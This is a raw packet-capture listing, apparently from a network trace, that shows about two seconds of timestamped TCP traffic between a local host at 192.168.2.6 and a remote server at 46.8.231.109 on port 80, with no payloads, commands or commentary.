Sep 30, 2024 13:59:45.451809883 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451843977 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451858997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451879978 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451890945 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451900959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451913118 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451922894 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451925993 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451935053 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451939106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451971054 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451977968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451988935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451999903 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.452011108 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.452012062 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.452023029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.452033997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.452039957 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.452063084 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.452064991 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.452075958 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.452080965 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.452086926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.452101946 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.452120066 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.474343061 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.479286909 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.674966097 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.677855968 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.825402975 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.830290079 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:46.028806925 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:46.033843994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:46.829981089 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:46.834942102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.029632092 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.029694080 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.580096006 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.614294052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787019968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787050009 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787061930 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787074089 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787086010 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787096024 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787107944 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.787142038 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.787420988 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787432909 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787442923 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787463903 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787467003 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.787476063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787482977 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.787507057 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.787525892 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.787700891 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787709951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787719965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787731886 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.787740946 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.787775040 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.869544029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869581938 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869601965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869611979 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869622946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869632959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869635105 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.869645119 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869676113 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.869690895 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.869692087 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869703054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869734049 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.869812012 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869844913 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.869885921 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869896889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.869931936 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.869951963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870022058 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870033026 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870047092 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870058060 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870074987 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870075941 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870086908 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870098114 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870100975 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870117903 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870119095 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870127916 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870140076 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870142937 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870157003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870167017 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870170116 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870188951 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870192051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870207071 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870217085 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870218039 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870235920 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870254040 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870260000 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870270967 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870281935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870290995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.870304108 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.870321035 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.952821970 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.952842951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.952856064 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.952915907 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.952915907 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.952940941 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.952961922 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.952972889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.952976942 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.952984095 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.952995062 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953003883 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953022957 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953023911 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953043938 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953051090 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953054905 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953066111 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953068972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953075886 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953085899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953097105 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953119993 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953156948 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953169107 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953177929 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953191996 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953217983 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953313112 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953324080 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953340054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953356981 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953368902 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953373909 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953404903 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953421116 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953432083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953466892 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953505993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953519106 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953530073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953541994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953562021 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953609943 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953623056 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953632116 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953643084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953660011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953660011 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953671932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953679085 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953690052 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953717947 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953833103 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953844070 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953855038 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953866005 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.953882933 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.953907013 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954018116 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954130888 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954152107 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954163074 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954164028 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954174042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954181910 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954185009 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954195023 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954205990 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954205990 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954217911 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954229116 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954231977 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954248905 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954262972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954277992 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954292059 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954302073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954334021 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954346895 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954360008 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954370975 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954380989 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954394102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954404116 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954411030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954421997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954427958 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954432011 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954441071 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954442024 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954452991 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:47.954488993 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:47.954526901 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.035523891 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035547972 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035562038 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035573959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035579920 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.035586119 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035597086 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035607100 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.035608053 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035619020 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035634995 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.035665989 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.035746098 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035758972 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035768986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.035795927 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.035804987 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036178112 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036190033 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036200047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036222935 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036231995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036242962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036256075 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036278963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036284924 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036289930 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036300898 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036315918 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036341906 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036361933 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036374092 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036384106 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036406994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036420107 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036478043 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036514997 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036535025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036546946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036567926 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036585093 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036587000 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036598921 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036609888 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036622047 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036634922 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036653042 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036705971 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036741972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036763906 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036780119 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036801100 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036803961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036815882 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036819935 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036825895 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.036834002 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.036864996 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.037540913 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037595034 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037609100 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037653923 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037664890 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037677050 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037765026 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037775993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037786961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037797928 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037810087 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037822008 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037873030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037883997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037899971 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037914038 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037918091 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.037918091 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.037929058 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037938118 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.037966013 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.037983894 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.037995100 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038005114 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038016081 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038027048 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038028955 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038038969 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038048029 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038063049 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038077116 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038090944 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038090944 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038103104 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038114071 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038124084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038125992 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038141012 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038141012 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038152933 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038160086 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038170099 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038181067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038201094 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038201094 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038211107 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038219929 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038220882 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.038244963 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.038266897 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041222095 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041233063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041244030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041265011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041287899 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041300058 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041311979 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041322947 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041338921 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041347027 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041351080 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041358948 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041383028 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041555882 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041604996 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:48.041616917 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041649103 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:48.041665077 CEST	49727	80	192.168.2.6	46.8.231.109
